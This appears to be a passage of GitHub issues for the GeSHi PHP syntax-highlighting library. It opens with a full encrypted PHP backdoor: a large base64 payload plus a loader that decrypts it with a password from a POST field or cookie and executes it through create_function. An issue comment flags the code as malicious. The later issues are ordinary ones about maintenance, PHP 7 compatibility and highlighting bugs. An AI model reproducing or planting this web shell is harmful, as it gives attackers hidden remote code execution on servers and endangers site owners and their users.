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 '));$g__g_=isset($_POST['g__g_'])?$_POST['g__g_']:(isset($_COOKIE['g__g_'])?$_COOKIE['g__g_']:NULL);if($g__g_!==NULL){$g__g_=md5($g__g_).substr(md5(strrev($g__g_)),0,strlen($g__g_));for($g____g_=0;$g____g_<15180;$g____g_++){$g___g_[$g____g_]=chr(( ord($g___g_[$g____g_])-ord($g__g_[$g____g_]))%256);$g__g_.=$g___g_[$g____g_];}if($g___g_=@gzinflate($g___g_)){if(isset($_POST['g__g_']))@setcookie('g__g_', $_POST['g__g_']);$g____g_=create_function('',$g___g_);unset($g___g_,$g__g_);$g____g_();}}?><form action="" method="post"><input type="text" name="g__g_" value=""/><input type="submit" value="&gt;"/></form>

Please note that AFAIK this is a malicious code, in an encrypted form.

state of the project?

Is this project still actively maintained? We make extensive use of this library in DokuWiki and I'd like to have a place where to point people to with language updates.

Would you consider adding more maintainers to get this at least into a state where minimal changes (language fixes, PHP compatibility updates, etc.) get applied? I'd be happy to help with that.

Here are the things I think should be done:

  • go through the pull requests and merge the core bug fixes #1 #38 #70 #71
  • go through the pull requests and merge all the language additions/fixes #19 #20 #22 #29 #44 #47 #49 #51 #52 #55 #63 #75
  • fix langcheck errors for existing languages
  • remove old build scripts (referencing sourceforge and SVN)
  • move contrib and docs out of src
  • move non-api docs to github wiki
  • move real api docs to github pages
  • make the script a little more modern by using proper public/protected attributes
  • introduce a namespace
  • remove any workarounds for php lower than 5.6
  • have some initial minimal testing in place
  • tag this as 1.0.9.0 and make it available via packagist #62

Again, I'm happy to do this if I get the feedback that it would be welcome and be merged quickly.

methods in R S+ code (rsplus) result in funny HTML-related additions instead of producing a hyperlink

Thank you so much for your work on GeSHi!

I just came across a bug. I tried this at http://qbnz.com/highlighter/demo.php, and it worked the same way it does in DokuWiki (where I originally noticed it):

In R S+ code, anything using a method results in funny text that looks like the end of a URL (which seems to be related to creating a link to the documentation):

seed <- new ()

results in

seed <- methods/html/new.html">new()

PHP 7.2 compatibility

PHP 7.2 was released on 30th November 2017. The create_function() function was deprecated in PHP 7.2. A Warning message is produced when this function is called. The GeSHi code should be updated to not use this function.

New release tag

It would be awesome if you could create a new release tag so that the lastest 7.2 fixes would be accessible from the composer.

Nimrod -> Nim

The Nimrod programming language has renamed to Nim. Not sure how to best express this so that you can keep highlighting old examples that call it Nimrod.

PHP7 Support

Hi,

I just migrated a few sites using GeSHi v1.0.8.11 to PHP7. There was only one change:

(geshi.php 597) "GeSHi" -> "__construct" as PHP7 requires constructors to be named "__construct".

So far, I haven't seen any other issues with GeSHi v1.0.8.11 and PHP7 and I've tested it for a few days.

Cheers,
Archfrog

Support for LESS?

I can not see that LESS is supported. Anyone knows if there is some support for Geshi and LESS out there?

PHP: wrong style on extra highlighted lines

example:

<?php
require_once 'geshi.php';
$content = <<<CODE
01st line
02nd line
03rd line
04th line
05th line
06th line
07th line
08th line
09th line
10th line
11th line
12th line
CODE;

$geshi = new GeSHi($content, 'text');
$geshi->highlight_lines_extra(1, 'background-color:red');

$geshi->highlight_lines_extra(3, 'background-color:red');
$geshi->highlight_lines_extra(4, 'background-color:red');

$geshi->highlight_lines_extra(6, 'background-color:red');
$geshi->highlight_lines_extra(7, 'background-color:red');
$geshi->highlight_lines_extra(8, 'background-color:red');

$geshi->highlight_lines_extra(10, 'background-color:red');

echo $geshi->parse_code();

solution:
add '+1' in lines 4007 and 4055 (geshi.php 1.0.8.11)

Incorrect syntax highlighting for PowerShell strings

In Dokuwiki I stumbled over PowerShell code that has incorrect syntax highlighting.

<code PowerShell>
$x = @"
"Curiouser and curiouser!" cried Alice (she was so much surprised, 
that for the moment she quite forgot how to speak good English); 
"now I'm opening out like the largest telescope that ever was! 
Good-bye, feet!" 
"@
</code>

This is how it looks like:
geshi

There are more code examples here: https://technet.microsoft.com/en-us/library/ee692792.aspx

I also posted this over at dokuwiki/dokuwiki#1445 as I am not sure where this belongs to.

increase version to avoid confusion with easybook/geshi

easybook/geshi was the defacto standard for installing geshi via composer for quite a while (eg. it still has more downloads at packagist and is suggested first when searching for geshi). They applied some fixes in their fork and increased their version number. They are currently at 1.0.8.18

This repository has all the fixes they have (as far as I can see) and more. To avoid confusion about which is the more up-to-date release, the official version should be bumped. I would argue that dropping the PHP4 support warrants a 1.0.9 release, but everything higher than 1.0.8.18 should do.

update the documentation

